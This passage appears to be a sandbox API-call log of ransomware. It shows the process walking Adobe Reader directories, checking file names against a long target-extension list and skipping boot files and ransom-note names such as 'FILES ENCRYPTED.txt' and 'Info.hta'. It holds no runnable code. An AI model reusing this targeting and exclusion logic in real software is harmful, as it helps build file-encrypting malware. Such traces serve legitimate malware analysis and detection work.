(lpString1=".jpeg", lpString2="gs.js") returned -1 [0272.426] lstrlenW (lpString=".jpf") returned 4 [0272.426] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".jpg") returned 4 [0272.426] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".jpx") returned 4 [0272.426] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0272.426] lstrlenW (lpString=".js") returned 3 [0272.426] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0272.426] lstrlenW (lpString="ui-strings.js") returned 13 [0272.427] lstrlenW (lpString=".love$") returned 6 [0272.427] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0272.427] lstrlenW (lpString="ui-strings.js") returned 13 [0272.427] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0272.427] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0272.779] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0272.779] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\fr-ma\\ui-strings.js") returned 133 [0272.779] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.780] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0272.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.780] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0272.780] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il") returned 119 [0272.780] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il") returned 1 [0272.780] lstrlenW (lpString="he-il") returned 5 [0272.780] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="he-il") returned -1 [0272.780] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.780] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il") returned 119 [0272.780] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\he-il\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315ab0 [0272.781] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.781] FindNextFileW (in: hFindFile=0x3315ab0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0272.781] FindClose (in: hFindFile=0x3315ab0 | out: hFindFile=0x3315ab0) returned 1 [0272.781] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.781] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0272.781] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 119 [0272.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 1 [0272.781] lstrlenW (lpString="hr-hr") returned 5 [0272.781] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="hr-hr") returned -1 [0272.781] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.781] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr") returned 119 [0272.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hr-hr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0272.781] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.781] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.782] lstrlenW (lpString="ui-strings.js") returned 13 [0272.782] lstrlenW (lpString=".1cd") returned 4 [0272.782] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".3ds") returned 4 [0272.782] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".3fr") returned 4 [0272.782] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".3g2") returned 4 [0272.782] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".3gp") returned 4 [0272.782] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".7z") returned 3 [0272.782] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.782] lstrlenW (lpString=".accda") returned 6 [0272.782] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".accdb") returned 6 [0272.782] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".accdc") returned 6 [0272.782] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".accde") returned 6 [0272.782] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".accdt") returned 6 [0272.782] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".accdw") returned 6 [0272.782] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.782] lstrlenW (lpString=".adb") returned 4 [0272.782] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".adp") returned 4 [0272.782] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.782] lstrlenW (lpString=".ai") returned 3 [0272.783] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.783] lstrlenW (lpString=".ai3") returned 4 [0272.783] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ai4") returned 4 [0272.783] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ai5") returned 4 [0272.783] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ai6") returned 4 [0272.783] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ai7") returned 4 [0272.783] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ai8") returned 4 [0272.783] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".anim") returned 5 [0272.783] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.783] lstrlenW (lpString=".arw") returned 4 [0272.783] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".as") returned 3 [0272.783] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.783] lstrlenW (lpString=".asa") returned 4 [0272.783] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".asc") returned 4 [0272.783] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".ascx") returned 5 [0272.783] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0272.783] lstrlenW (lpString=".asm") returned 4 [0272.783] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0272.783] lstrlenW (lpString=".asmx") returned 5 [0272.783] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0272.783] lstrlenW (lpString=".asp") returned 4 [0272.784] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".aspx") returned 5 [0272.784] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0272.784] lstrlenW (lpString=".asr") returned 4 [0272.784] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".asx") returned 4 [0272.784] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".avi") returned 4 [0272.784] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".avs") returned 4 [0272.784] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".backup") returned 7 [0272.784] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0272.784] lstrlenW (lpString=".bak") returned 4 [0272.784] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".bay") returned 4 [0272.784] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".bd") returned 3 [0272.784] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0272.784] lstrlenW (lpString=".bin") returned 4 [0272.784] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0272.784] lstrlenW (lpString=".bmp") returned 4 [0272.785] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".bz2") returned 4 [0272.785] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".c") returned 2 [0272.785] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0272.785] lstrlenW (lpString=".cdr") returned 4 [0272.785] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".cer") returned 4 [0272.785] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".cf") returned 3 [0272.785] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0272.785] lstrlenW (lpString=".cfc") returned 4 [0272.785] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".cfm") returned 4 [0272.785] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".cfml") returned 5 [0272.785] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0272.785] lstrlenW (lpString=".cfu") returned 4 [0272.785] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".chm") returned 4 [0272.785] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".cin") returned 4 [0272.785] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0272.785] lstrlenW (lpString=".class") returned 6 [0272.785] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0272.785] lstrlenW (lpString=".clx") returned 4 [0272.786] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".config") returned 7 [0272.786] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0272.786] lstrlenW (lpString=".cpp") returned 4 [0272.786] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".cr2") returned 4 [0272.786] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".crt") returned 4 [0272.786] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".crw") returned 4 [0272.786] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".cs") returned 3 [0272.786] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0272.786] lstrlenW (lpString=".css") returned 4 [0272.786] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".csv") returned 4 [0272.786] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".cub") returned 4 [0272.786] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".dae") returned 4 [0272.786] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0272.786] lstrlenW (lpString=".dat") returned 4 [0272.787] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".db") returned 3 [0272.787] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0272.787] lstrlenW (lpString=".dbf") returned 4 [0272.787] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dbx") returned 4 [0272.787] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dc3") returned 4 [0272.787] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dcm") returned 4 [0272.787] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dcr") returned 4 [0272.787] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".der") returned 4 [0272.787] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dib") returned 4 [0272.787] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dic") returned 4 [0272.787] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".dif") returned 4 [0272.787] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0272.787] lstrlenW (lpString=".divx") returned 5 [0272.787] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0272.787] lstrlenW (lpString=".djvu") returned 5 [0272.787] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0272.787] lstrlenW (lpString=".dng") returned 4 [0272.787] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".doc") returned 4 [0272.788] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".docm") returned 5 [0272.788] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0272.788] lstrlenW (lpString=".docx") returned 5 [0272.788] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0272.788] lstrlenW (lpString=".dot") returned 4 [0272.788] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dotm") returned 5 [0272.788] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0272.788] lstrlenW (lpString=".dotx") returned 5 [0272.788] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0272.788] lstrlenW (lpString=".dpx") returned 4 [0272.788] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dqy") returned 4 [0272.788] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dsn") returned 4 [0272.788] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dt") returned 3 [0272.788] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0272.788] lstrlenW (lpString=".dtd") returned 4 [0272.788] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dwg") returned 4 [0272.788] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0272.788] lstrlenW (lpString=".dwt") returned 4 [0272.788] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0272.789] lstrlenW (lpString=".dx") returned 3 [0272.789] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0272.789] lstrlenW (lpString=".dxf") returned 4 [0272.789] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0272.789] lstrlenW (lpString=".edml") returned 5 [0272.789] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0272.789] lstrlenW (lpString=".efd") returned 4 [0272.789] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0272.789] lstrlenW (lpString=".elf") returned 4 [0272.789] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0272.789] lstrlenW (lpString=".emf") returned 4 [0272.789] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0272.789] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0272.789] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0272.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4245db8 | out: hHeap=0x670000) returned 1 [0272.790] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0272.790] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4245db8 [0272.790] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu") returned 119 [0272.790] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\hu-hu\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315730 [0272.790] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0272.790] FindNextFileW (in: hFindFile=0x3315730, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x771, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0272.790] lstrlenW (lpString="ui-strings.js") returned 13 [0272.790] lstrlenW (lpString=".1cd") returned 4 [0272.790] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0272.790] lstrlenW (lpString=".3ds") returned 4 [0272.790] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0272.790] lstrlenW (lpString=".3fr") returned 4 [0272.790] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0272.790] lstrlenW (lpString=".3g2") returned 4 [0272.790] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0272.790] lstrlenW (lpString=".3gp") returned 4 [0272.790] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".7z") returned 3 [0272.791] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0272.791] lstrlenW (lpString=".accda") returned 6 [0272.791] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".accdb") returned 6 [0272.791] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".accdc") returned 6 [0272.791] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".accde") returned 6 [0272.791] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".accdt") returned 6 [0272.791] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".accdw") returned 6 [0272.791] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0272.791] lstrlenW (lpString=".adb") returned 4 [0272.791] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".adp") returned 4 [0272.791] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".ai") returned 3 [0272.791] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0272.791] lstrlenW (lpString=".ai3") returned 4 [0272.791] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".ai4") returned 4 [0272.791] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".ai5") returned 4 [0272.791] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".ai6") returned 4 [0272.791] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0272.791] lstrlenW (lpString=".ai7") returned 4 [0272.791] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".ai8") returned 4 [0272.792] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".anim") returned 5 [0272.792] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0272.792] lstrlenW (lpString=".arw") returned 4 [0272.792] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".as") returned 3 [0272.792] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0272.792] lstrlenW (lpString=".asa") returned 4 [0272.792] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0272.792] lstrlenW (lpString=".asc") returned 4 